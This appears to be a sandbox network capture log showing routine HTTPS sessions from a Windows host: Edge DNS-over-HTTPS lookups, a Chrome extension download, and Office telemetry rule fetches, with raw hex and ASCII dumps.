2024-11-25 13:14:37 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 13:13:36 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 1f63d169-0af7-4440-ad85-04eb7229b80c PPServer: PPV: 30 H: PH1PEPF0001B6F7 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 13:14:36 GMT Connection: close Content-Length: 1276
2024-11-25 13:14:37 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49791	162.159.61.3	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 13:14:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 13:14:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 13:14:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e81e71e09dc8ce9-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 13:14:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 11 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49783	142.250.181.65	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:37 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:37 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5isHQgmb4u0tVksA5hf1k3MbnVznHKmZB6lTKqoNZctsPSRpHdFo-Oey6vXSF6fQvBhWylcQdPxw X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Sun, 24 Nov 2024 16:45:00 GMT Expires: Mon, 24 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 73777 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 13:14:37 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-25 13:14:37 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-25 13:14:37 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-25 13:14:37 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-25 13:14:37 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-25 13:14:37 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-25 13:14:37 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-25 13:14:37 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-25 13:14:37 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-25 13:14:37 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49790	162.159.61.3	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 13:14:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 45 00 0c 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenet)EA
2024-11-25 13:14:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 13:14:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e81e720880dc327-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 13:14:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 05 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 01 00 01 c0 0c 00 05 00 01 00 00 06 7b 00 17 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 03 61 66 64 c0 1d c0 3c 00 05 00 01 00 00 0d 83 00 22 10 61 7a 75 72 65 65 64 67 65 2d 74 2d 70 72 6f 64 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 c0 27 c0 5f 00 05 00 01 00 00 00 2d 00 2c 04 73 68 65 64 08 64 75 61 6c 2d 6c 6f 77 0b 73 2d 70 61 72 74 2d 30 30 31 32 06 74 2d 30 30 30 39 08 74 2d 6d 73 65 64 67 65 c0 27 c0 8d 00 05 00 01 00 00 00 2d 00 02 c0 9b c0 9b 00 01 00 01 00 00 00 2d 00 04 0d 6b f6 28 00 00 29 04 d0 00 00 00 00 00 f2 00 0c 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenet{edgeassetserviceafd<"azureedge-t-prodtrafficmanager'_-,sheddual-lows-part-0012t-0009t-msedge'--k()

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:37 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e283765-001e-0049-6380-3d5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131437Z-15b8b599d88s6mj9hC1TEBur3000000005r000000000fpyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:37 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 40d9340c-a01e-0050-06b8-3edb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131437Z-178bfbc474bwlrhlhC1NYCy3kg00000007f000000000c15k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:37 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
